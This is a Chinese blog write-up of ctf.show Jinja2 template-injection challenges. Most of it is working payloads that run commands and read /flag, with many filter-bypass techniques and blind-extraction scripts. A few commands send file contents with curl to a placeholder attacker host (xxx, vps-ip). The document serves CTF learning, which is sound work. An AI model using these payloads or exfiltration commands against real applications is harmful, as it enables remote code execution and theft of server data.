赞
踩
笔记分享
一、代码块
变量块 {{}} 用于将表达式打印到模板输出
注释块 {##} 注释
控制块 {%%} 可以声明变量,也可以执行语句
{% for i in ''.__class__.__mro__[1].__subclasses__() %}{% if i.__name__=='_wrap_close' %}{% print i.__init__.__globals__['popen']('ls').read() %}{% endif %}{% endfor %}
行声明 ## 可以有和{%%}相同的效果
二、常用方法
python的str(字符串)、dict(字典)、tuple(元组)、list(列表)这些在Python类结构的基类都是object,而object拥有众多的子类。 [].__class__:列表 ''.__class__ :字符串 ().__class__ :元组 {}.__class__:字典 ------------------------------------------------------------ 有这些类继承的方法,我们就可以从任何一个变量,回溯到最顶层基类(<class'object'>)中去,再获得到此基类所有实现的类,就可以获得到很多的类和方法了。 __class__ :类的一个内置属性,查看实例对象的类。 __base__ :类型对象的直接基类 __bases__ :类型对象的全部基类(直接父类),以元组形式(只有一个元素),类型的实例通常没有属性 __bases__ __mro__ :可以用来获取一个类的调用顺序,元组形式,返回如(<class 'str'>, <class 'object'>)。__mro__[1]就是object ------------------------------------------------------------ __subclasses__():返回这个类的所有子类,列表形式。 __builtins__:内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。返回内建内建名称空间字典__builtins__与__builtin__的区别就不放了,百度都有。 (做为默认初始模块出现的,可用于查看当前所有导入的内建函数。,集合形式) __init__:初始化类,返回的类型是function,可以用来跳到__globals__。 __globals__:会以字典的形式返回当前位置的所有全局变量,与 func_globals 等价。 __import__:动态加载类和函数,也就是导入模块,经常用于导入os模块,语法:__import__(模块名)。如:__import__('os').popen('ls').read() ------------------------------------------------------------ __dic__ :类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里 __getattribute__():实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。 __getitem__():调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')
三、SSTI-jinja2执行命令的六种方式
内建函数 eval 执行命令
os 模块执行命令
popen 函数执行命令
importlib 类执行命令
linecache 函数执行命令
subprocess.Popen 类执行命令
最后附上我的思维导图
开始做题
进去是个这玩意。非常明显的SSTI模板注入的特征。
题目有提到名字就是考点。
测试一下是jinja2模板
payload:(以下这些都可以)
#寻找 popen 函数执行命令
?name={{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}
#寻找内建函数 eval 执行命令
?name={{a.__init__.__globals__['__builtins__'].eval('__import__("os").popen("cat /flag").read()')}}
#寻找内建函数 eval 执行命令
?name={{''.__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /flag").read()')}}
#寻找 os 模块执行命令
?name={{ config.__class__.__init__.__globals__['os'].popen('cat ../flag').read() }}
?name={% for i in ''.__class__.__mro__[1].__subclasses__() %}{% if i.__name__=='_wrap_close' %}{% print i.__init__.__globals__['popen']('ls').read() %}{% endif %}{% endfor %}
?name={% for i in ''.__class__.__mro__[1].__subclasses__() %}{% if i.__name__=='_wrap_close' %}{% print i.__init__.__globals__['popen']('ls').read() %}{% endif %}{% endfor %}
开始过滤了,测试了一下过滤了数字,1和7没有过滤。
绕过方法:用全角数字 ‘0’,‘1’,‘2’,‘3’,‘4’,‘5’,‘6’,‘7’,‘8’,‘9’
payload:
?name={{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}} #132跑脚本
?name={{a.__init__.__globals__['__builtins__'].eval('__import__("os").popen("cat /flag").read()')}}
?name={{''.__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /flag").read()')}}
?name={{ config.__class__.__init__.__globals__['os'].popen('cat ../flag').read() }}
?name={% for i in ''.__class__.__mro__[1].__subclasses__() %}{% if i.__name__=='_wrap_close' %}{% print i.__init__.__globals__['popen']('ls').read() %}{% endif %}{% endfor %}
过滤了单双引号。常见的绕过过滤方式有两种,一种是request,另一种是chr函数。
request:
假设传入{{ config.__class__.__init__.__globals__['os'] }},因为引号被过滤,所以无法执行,可以把'os'换成request.args.a(这里的a可以理解为自定义的变量,名字可以任意设置)
随后在后面传入a的值,变成{{ config.__class__.__init__.__globals__[request.args.a] }}&a=os,与原命令等效
比如我们要构造?name={{ config.__class__.__init__.__globals__['os'].popen('cat ../flag').read() }},但是引号不能使用了,就可以把这两处使用引号的地方替换掉,最终变成
?name={{ config.__class__.__init__.__globals__[request.args.a].popen(request.args.b).read() }}&a=os&b=cat ../flag
例:
?name={{().__class__.__bases__[0].__subclasses__().pop(40)(request.args.path).read()}}&path=/etc/passwd
等同于
?name={{().__class__.__bases__[0].__subclasses__().pop(40)('/etc/passwd').read()}}
?name={{().__class__.__base__.__subclasses__()[77].__init__.__globals__[request.args.os].popen(request.args.cmd).read()}}&os=os&cmd=ls /
等同于
?name={{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}
chr:
暂时不写,有点麻烦。
原理: 我们没法直接使用chr函数,所以我们需要先通过__builtins__来找到它(__builtins__方法是作为默认初始模块出现的,可用于查看当前所有导入的内建函数。)
还有一种是利用chr进行字符串拼接。可以输入config.str()拿到很长的字符串,再控制下标索引提取想要的字符进行拼接。比如构造os字符串。url_for.globals[(config.str()[2])%2b(config.str()[42])] 其实中括号内就等价于[‘os’]。 //?name={{url_for.globals[‘os’]}}
最终payload:
?name={{x.__init__.__globals__[request.args.a].eval(request.args.b)}}&a=__builtins__&b=__import__('os').popen('cat /flag').read()
?a=os&b=popen&c=cat /flag&name={{url_for.__globals__[request.args.a][request.args.b](request.args.c).read()}}
?name={{ config.__class__.__init__.__globals__[request.args.a].popen(request.args.b).read() }}&a=os&b=cat ../flag
过滤了args 。
request.args是GET传参,用其他方式传来替代args就可以了,比如cookie 。
也可以将其中的request.args改为request.values,POST和GET两种方法传递的数据request.values都可以接收。
payload:
?name={{x.__init__.__globals__[request.cookies.x1].eval(request.cookies.x2)}}
Cookie传参:x1=__builtins__;x2=__import__('os').popen('cat /flag').read()
?name={{url_for.__globals__[request.cookies.a][request.cookies.b](request.cookies.c).read()}}
Cookie传参:a=os;b=popen;c=cat /flag
?name={{x.__init__.__globals__[request.values.a].eval(request.values.b)}}&a=__builtins__&b=__import__('os').popen('cat /flag').read()
?a=os&b=popen&c=cat /flag&name={{url_for.__globals__[request.values.a][request.values.b](request.values.c).read()}}
?name={{ config.__class__.__init__.__globals__[request.values.a].popen(request.values.b).read() }}&a=os&b=cat ../flag
?name={{().__class__.__mro__[1].__subclasses__()[407](request.values.a,shell=True,stdout=-1).communicate()[0]}}&a=cat /flag //没看懂
起手式测试一下,还是jinja2
模板注入
造个字典跑一下过滤:
//ssti-fuzz.txt . [ ] _ { } {{ }} {% %} {%if {%endif {%print( 1 2 3 4 5 6 7 8 9 0 ' " + %2B %2b join() u os popen importlib linecache subprocess |attr() request args value cookie __getitem__() __class__ __base__ __bases__ __mro__ __subclasses__() __builtins__ __init__ __globals__ __import__ __dic__ __getattribute__() __getitem__() __str__() lipsum current_app
fuzz出来一共过滤了四个字符''
、""
、[
、args
我们选择用popen
函数执行命令,其他五种方式同理。
先测测os
模块在哪
{{x.__class__.__bases__.__getitem__(0).__subclasses__()}}
定位132
原始payload:
{{''.__class__.__bases__.__getitem__(0).__subclasses__()[132].__init__.__globals__.popen('ls /').read()}}
__getitem__
绕过中括号[
过滤:
{{x.__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(132).__init__.__globals__.popen('ls /').read()}}
request对象
绕过引号''
、""
过滤,cookie
或者values
绕过args
过滤
{{x.__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(132).__init__.__globals__.popen(request.cookies.x).read()}}
Cookie传参:x=ls /
Cookie传参:x=tac /f*
直接fuzz,过滤了''
、""
、[
、args
和_
我们选择用popen
函数执行命令,其他五种方式同理。
不定位了,应该还是132。
原始payload:
{{''.__class__.__bases__.__getitem__(0).__subclasses__()[132].__init__.__globals__.popen('ls /').read()}}
__getitem__
绕过中括号[
过滤:
{{x.__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(132).__init__.__globals__.popen('ls /').read()}}
request对象
绕过引号''
、""
过滤,cookie
或者values
绕过args
过滤
{{x.__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(132).__init__.__globals__.popen(request.cookies.x).read()}}
|attr()
+request对象
绕过对下划线的过滤
""|attr("__class__")
相当于
"".__class__
{{x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3)(0)|attr(request.cookies.x4)()|attr(request.cookies.x5)(132)|attr(request.cookies.x6)|attr(request.cookies.x7).popen(request.cookies.x8).read()}}
Cookie传参:x1=__class__;x2=__bases__;x3=__getitem__;x4=__subclasses__;x5=__getitem__;x6=__init__;x7=__globals__;x8=tac /f*
没出?????
{{x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3)(0)|attr(request.cookies.x4)()|attr(request.cookies.x5)(132)|attr(request.cookies.x6)|attr(request.cookies.x7)|attr(request.cookies.x8)(request.cookies.x9)|attr(request.cookies.x10)()}}
Cookie传参:x1=__class__;x2=__bases__;x3=__getitem__;x4=__subclasses__;x5=__getitem__;x6=__init__;x7=__globals__;x8=popen;x9=tac /f*;x10=read
还是没出????
回溯测试一下,我们能拿到全局变量而且里面有popen
{{x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3)(0)|attr(request.cookies.x4)()|attr(request.cookies.x5)(132)|attr(request.cookies.x6)|attr(request.cookies.x7)}}
Cookie传参:x1=__class__;x2=__bases__;x3=__getitem__;x4=__subclasses__;x5=__getitem__;x6=__init__;x7=__globals__
尚未解决,暂且预留
我们也可以换个思路。
lipsum.__globals__
中含有os模块
那我们原始payload就是:
{{(lipsum.__globals__).os.popen("tac /flag").read()}}
|attr()
+request对象
绕过对下划线_
过滤。
request对象
绕过引号''
、""
过滤,cookie
或者values
绕过args
过滤
{{(lipsum|attr(request.cookies.x1)).os.popen(request.cookies.x2).read()}}
Cookie传参:x1= __globals__;x2=tac /flag
起手式fuzz,过滤了''
、""
、[
、args
、_
和os
上一题第二个思路的payload改改还能继续用,os是cookie传进去的,不会触发过滤。
{{(lipsum|attr(request.cookies.x1)).get(request.cookies.x2).popen(request.cookies.x3).read()}}
Cookie传参:x1= __globals__;x2=os;x3=tac /flag
起手式fuzz,过滤了''
、""
、[
、args
、_
、os
和{{
比上题多过滤了一个{{
,我们用{%print(......)%}
绕过
继续把上题的payload改改。
{%print((lipsum|attr(request.cookies.x1)).get(request.cookies.x2).popen(request.cookies.x3).read())%}
Cookie传参:x1= __globals__;x2=os;x3=tac /flag
我们还有别的思路。用{%set
来绕过过滤
{%set aaa=(lipsum|attr(request.cookies.x1)).get(request.cookies.x2).popen(request.cookies.x3).read()%}{% print(aaa)%}
Cookie传参:x1= __globals__;x2=os;x3=tac /flag
还有思路:文件读取:
{%set aaa=(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4)%}{%print(aaa.open(request.cookies.x5).read())%}
Cookie:x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=/flag
还有思路:盲注:
用{% %}是可以盲注的,我们这里盲注一下/flag文件的内容,原理就在于open(‘/flag’).read()是回显整个文件,但是read函数里加上参数:open(‘/flag’).read(i),返回的就是读出所读的文件里的前i个字符,以此类推,就可以盲注出了。python脚本:
import requests import string url ='http://85302b44-c999-432c-8891-7ebdf703d6c0.chall.ctf.show/?name={%set aaa=(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4)%}\ {%if aaa.eval(request.cookies.x5)==request.cookies.x6%}\ xxx17\ {%endif%}' s=string.digits+string.ascii_lowercase+"{-}" flag='' for i in range(1,99): print(i) for j in s: x=flag+j headers={'Cookie':'''x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=open('/flag').read({0});x6={1}'''.format(i,x)} r=requests.get(url,headers=headers) #print(r.text) if("xxx17" in r.text): flag=x print(flag) break
考点:jinja2过滤器
起手式fuzz,过滤了''
、""
、[
、args
、_
、os
、{{
和request
过滤了request
,那这题不能再拿之前的payload改改用了。
这里要用到jinja2的过滤器
直接给payload然后解释吧。
读取/flag
文件payload:
?name=
{% set po=dict(po=1,p=2)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set re=dict(reque=1,st=1)|join%}
{% set in=(a~a~dict(init=a)|join~a~a)|join()%}
{% set gl=(a~a~dict(globals=q)|join~a~a)|join()%}
{% set ge=(a~a~dict(getitem=a)|join~a~a)%}
{% set bu=(a~a~dict(builtins=a)|join~a~a)|join()%}
{% set x=(q|attr(in)|attr(gl)|attr(ge))(bu)%}
{% set chr=x.chr%}
{% set f=chr(47)~(dict(flag=a)|join)%}
{% print(x.open(f).read())%}
详解:
//构造pop {% set po=dict(po=1,p=2)|join%} //构造下划线 _ {% set a=(()|select|string|list)|attr(po)(24)%} //构造request {% set re=dict(reque=1,st=1)|join%} //构造__init__ {% set in=(a~a~dict(init=a)|join~a~a)|join()%} //构造__globals__ {% set gl=(a~a~dict(globals=q)|join~a~a)|join()%} //构造__getitem__ {% set ge=(a~a~dict(getitem=a)|join~a~a)%} //构造__builtins__ {% set bu=(a~a~dict(builtins=a)|join~a~a)|join()%} //【构造】q.__init__.__globals__.__getitem__.__builtins__ {% set x=(q|attr(in)|attr(gl)|attr(ge))(bu)%} //构造chr函数 {% set chr=x.chr%} // 构造/flag {% set f=chr(47)~(dict(flag=a)|join)%} //读取文件/flag {% print(x.open(f).read())%}
执行命令cat /flag
。相当于lipsum.__globals__['__builtins__'].open('/flag').read()
?name={% print (lipsum|attr(
(config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(6).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(2).lower()~(config|string|list).pop(33).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(42).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()
))
.get(
(config|string|list).pop(2).lower()~(config|string|list).pop(42).lower()
)
.popen(
(config|string|list).pop(1).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(23).lower()~(config|string|list).pop(7).lower()~(config|string|list).pop(279).lower()~(config|string|list).pop(4).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(6).lower()
).read() %}
反弹shell的payload:
?name=
{% set a=(()|select|string|list).pop(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set cmd=
%}
{%if x.eval(cmd)%}
123
{%endif%}
cmd用此脚本生成
s='__import__("os").popen("curl http://xxx:4567?p=`cat /flag`").read()'
def ccchr(s):
t=''
for i in range(len(s)):
if i<len(s)-1:
t+='chr('+str(ord(s[i]))+')%2b'
else:
t+='chr('+str(ord(s[i]))+')'
return t
盲注的脚本:
import requests import string def ccchr(s): t='' for i in range(len(s)): if i<len(s)-1: t+='chr('+str(ord(s[i]))+')%2b' else: t+='chr('+str(ord(s[i]))+')' return t url ='''http://a4023da9-bc70-4324-a88e-d1b4e6087bb6.challenge.ctf.show/?name= {% set a=(()|select|string|list).pop(24)%} {% set ini=(a,a,dict(init=a)|join,a,a)|join()%} {% set glo=(a,a,dict(globals=a)|join,a,a)|join()%} {% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%} {% set built=(a,a,dict(builtins=a)|join,a,a)|join()%} {% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%} {% set chr=x.chr%} {% set cmd=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%} {% set cmd2=''' s=string.digits+string.ascii_lowercase+'{_-}' flag='' for i in range(1,50): print(i) for j in s: x=flag+j u=url+ccchr(x)+'%}'+'{% if x.open(cmd).read('+str(i)+')==cmd2%}'+'xxx17'+'{% endif%}' #print(u) r=requests.get(u) if("xxx17" in r.text): flag=x print(flag) break
执行命令cat /flag
。
//构造下划线_
{%set%20xiahua=(lipsum|select|string|list).pop(24)%}
{%set gb=(xiahua,xiahua,dict(glo=a,bals=a)|join,xiahua,xiahua)|join%}
{%set gm=(xiahua,xiahua,dict(ge=a,titem=a)|join,xiahua,xiahua)|join%}
{%set bl=(xiahua,xiahua,dict(builtins=a)|join,xiahua,xiahua)|join%}
{%set chcr=(lipsum|attr(gb)|attr(gm)(bl)).chr%}
{%set oo=dict(o=a,s=a)|join%}
{%set pp=dict(po=a,pen=a)|join%}
{%set space=chcr(32)%}
{%set xiegang=chcr(47)%}
{%set f1ag=dict(fl=a,ag=a)|join%}
{%set shell=(dict(cat=a)|join,space,xiegang,f1ag)|join%}
{%print lipsum|attr(gb)|attr(gm)(oo)|attr(pp)(shell)|attr(dict(re=a,ad=a)|join)()%}
起手式fuzz,过滤了''
、""
、[
、args
、_
、os
、{{
、request
和数字
以web369的第一个payload为例,讲四个方法
?name=
{% set po=dict(po=1,p=2)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set re=dict(reque=1,st=1)|join%}
{% set in=(a~a~dict(init=a)|join~a~a)|join()%}
{% set gl=(a~a~dict(globals=q)|join~a~a)|join()%}
{% set ge=(a~a~dict(getitem=a)|join~a~a)%}
{% set bu=(a~a~dict(builtins=a)|join~a~a)|join()%}
{% set x=(q|attr(in)|attr(gl)|attr(ge))(bu)%}
{% set chr=x.chr%}
{% set f=chr(47)~(dict(flag=a)|join)%}
{% print(x.open(f).read())%}
方法一:用全角数字绕过。
'0','1','2','3','4','5','6','7','8','9'
payload:
?name=
{% set po=dict(po=1,p=2)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set re=dict(reque=1,st=1)|join%}
{% set in=(a~a~dict(init=a)|join~a~a)|join()%}
{% set gl=(a~a~dict(globals=q)|join~a~a)|join()%}
{% set ge=(a~a~dict(getitem=a)|join~a~a)%}
{% set bu=(a~a~dict(builtins=a)|join~a~a)|join()%}
{% set x=(q|attr(in)|attr(gl)|attr(ge))(bu)%}
{% set chr=x.chr%}
{% set f=chr(47)~(dict(flag=a)|join)%}
{% print(x.open(f).read())%}
方法二:自己构造数字绕过。
方法:
{% set cc=(dict(ee=a)|join|count)%}
{% set cccc=(dict(eeee=a)|join|length)%}
从而cc=2,cccc=4
再{% set coun=(cc~cccc)|int%} --> coun=24
快速得到一个数值
所以web369的payload里面的数字,可以由构造得到。
如:
{% set ershisi=(cc~cccc)|int%}
{% set po=dict(po=c,p=c)|join%}
{% set a=(()|select|string|list)|attr(po)(ershisi)%}
就是
{% set a=(()|select|string|list)|pop(24)%}
payload:
?name= {% set c=(dict(e=a)|join|count)%} {% set cc=(dict(ee=a)|join|count)%} {% set ccc=(dict(eee=a)|join|count)%} {% set cccc=(dict(eeee=a)|join|count)%} {% set ccccccc=(dict(eeeeeee=a)|join|count)%} {% set cccccccc=(dict(eeeeeeee=a)|join|count)%} {% set ccccccccc=(dict(eeeeeeeee=a)|join|count)%} {% set cccccccccc=(dict(eeeeeeeeee=a)|join|count)%} {% set twoandfour=(cc~cccc)|int%} {% set fourandseven=(cccc~ccccccc)|int%} {% set po=dict(po=b,p=b)|join%} {% set a=(()|select|string|list)|attr(po)(twoandfour)%} {% set re=dict(reque=b,st=b)|join%} {% set in=(a~a~dict(init=a)|join~a~a)|join()%} {% set gl=(a~a~dict(globals=q)|join~a~a)|join()%} {% set ge=(a~a~dict(getitem=a)|join~a~a)%} {% set bu=(a~a~dict(builtins=a)|join~a~a)|join()%} {% set x=(q|attr(in)|attr(gl)|attr(ge))(bu)%} {% set chr=x.chr%} {% set f=chr(fourandseven)~(dict(flag=a)|join)%} {% print(x.open(f).read())%}
方法三:用index构造数字
Python index()
方法检测字符串中是否包含子字符串 str ,如果指定 beg
(开始) 和 end
(结束) 范围,则检查是否包含在指定范围内。如果包含子字符串返回开始的索引值,否则抛出异常。
?name=
{% set o=(dict(o=z)|join) %}
{% set n=dict(n=z)|join %}
{% set ershisi=(()|select|string|list).index(o)*(()|select|string|list).index(n) %}
{% set liushisi=(()|select|string|list).index(o)*(()|select|string|list).index(o) %}
{% set xiegang=(config|string|list).pop(-liushisi) %}
{% set gang=(()|select|string|list).pop(ershisi) %}
{% set globals=(gang,gang,(dict(globals=z)|join),gang,gang)|join %}
{% set builtins=(gang,gang,(dict(builtins=z)|join),gang,gang)|join %}
{% set gangfulaige=(xiegang,dict(flag=z)|join)|join %}
{% print (lipsum|attr(globals)).get(builtins).open(gangfulaige).read() %}
方法四:反弹shell
生成payload脚本:
import requests cmd='__import__("os").popen("curl http://vps-ip:9023?p=`cat /flag`").read()' def fun1(s): t=[] for i in range(len(s)): t.append(ord(s[i])) k='' t=list(set(t)) for i in t: k+='{% set '+'e'*(t.index(i)+1)+'=dict('+'e'*i+'=a)|join|count%}\n' return k def fun2(s): t=[] for i in range(len(s)): t.append(ord(s[i])) t=list(set(t)) k='' for i in range(len(s)): if i<len(s)-1: k+='chr('+'e'*(t.index(ord(s[i]))+1)+')%2b' else: k+='chr('+'e'*(t.index(ord(s[i]))+1)+')' return k url ='http://fc5ded74-98ba-4d98-a6f9-47ab2616ba41.challenge.ctf.show/?name='+fun1(cmd)+''' {% set coun=dict(eeeeeeeeeeeeeeeeeeeeeeee=a)|join|count%} {% set po=dict(po=a,p=a)|join%} {% set a=(()|select|string|list)|attr(po)(coun)%} {% set ini=(a,a,dict(init=a)|join,a,a)|join()%} {% set glo=(a,a,dict(globals=a)|join,a,a)|join()%} {% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%} {% set built=(a,a,dict(builtins=a)|join,a,a)|join()%} {% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%} {% set chr=x.chr%} {% set cmd='''+fun2(cmd)+''' %} {%if x.eval(cmd)%} abc {%endif%} ''' print(url)
生成后CV到题目手动提交
起手式fuzz,过滤了''
、""
、[
、args
、_
、os
、{{
、request
、数字
和{%print
过滤了{%print
意味着能执行但是没有回显了。
web370的反弹shell方法还能用。
一种是直接python脚本生成payload,payload弹shell。
脚本:
import requests cmd='__import__("os").popen("curl http://vps-ip:9023?p=`cat /flag`").read()' def fun1(s): t=[] for i in range(len(s)): t.append(ord(s[i])) k='' t=list(set(t)) for i in t: k+='{% set '+'e'*(t.index(i)+1)+'=dict('+'e'*i+'=a)|join|count%}\n' return k def fun2(s): t=[] for i in range(len(s)): t.append(ord(s[i])) t=list(set(t)) k='' for i in range(len(s)): if i<len(s)-1: k+='chr('+'e'*(t.index(ord(s[i]))+1)+')%2b' else: k+='chr('+'e'*(t.index(ord(s[i]))+1)+')' return k url ='http://fc5ded74-98ba-4d98-a6f9-47ab2616ba41.challenge.ctf.show/?name='+fun1(cmd)+''' {% set coun=dict(eeeeeeeeeeeeeeeeeeeeeeee=a)|join|count%} {% set po=dict(po=a,p=a)|join%} {% set a=(()|select|string|list)|attr(po)(coun)%} {% set ini=(a,a,dict(init=a)|join,a,a)|join()%} {% set glo=(a,a,dict(globals=a)|join,a,a)|join()%} {% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%} {% set built=(a,a,dict(builtins=a)|join,a,a)|join()%} {% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%} {% set chr=x.chr%} {% set cmd='''+fun2(cmd)+''' %} {%if x.eval(cmd)%} abc {%endif%} ''' print(url)
还有一种是payload固定,里面的一部分cmd
用脚本生成。
payload:
?name= {% set c=(t|count)%} {% set cc=(dict(e=a)|join|count)%} {% set ccc=(dict(ee=a)|join|count)%} {% set cccc=(dict(eee=a)|join|count)%} {% set ccccc=(dict(eeee=a)|join|count)%} {% set cccccc=(dict(eeeee=a)|join|count)%} {% set ccccccc=(dict(eeeeee=a)|join|count)%} {% set cccccccc=(dict(eeeeeee=a)|join|count)%} {% set ccccccccc=(dict(eeeeeeee=a)|join|count)%} {% set cccccccccc=(dict(eeeeeeeee=a)|join|count)%} {% set ccccccccccc=(dict(eeeeeeeeee=a)|join|count)%} {% set cccccccccccc=(dict(eeeeeeeeeee=a)|join|count)%} {% set coun=(ccc~ccccc)|int%} {% set po=dict(po=a,p=a)|join%} {% set a=(()|select|string|list)|attr(po)(coun)%} {% set ini=(a,a,dict(init=a)|join,a,a)|join()%} {% set glo=(a,a,dict(globals=a)|join,a,a)|join()%} {% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%} {% set built=(a,a,dict(builtins=a)|join,a,a)|join()%} {% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%} {% set chr=x.chr%} {% set cmd=【xxx】 %} {%if x.eval(cmd)%} abc {%endif%}
生成cmd的脚本:
def aaa(t):
t='('+(int(t[:-1:])+1)*'c'+'~'+(int(t[-1])+1)*'c'+')|int'
return t
s='__import__("os").popen("curl http://xxx:9023?p=`cat /flag`").read()'
def ccchr(s):
t=''
for i in range(len(s)):
if i<len(s)-1:
t+='chr('+aaa(str(ord(s[i])))+')%2b'
else:
t+='chr('+aaa(str(ord(s[i])))+')'
return t
print(ccchr(s))
起手式fuzz,过滤了''
、""
、[
、args
、_
、os
、{{
、request
、数字
、{%print
和count
和前一题一样,count
换成length
,或者全角数字或者用index
构造数字。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。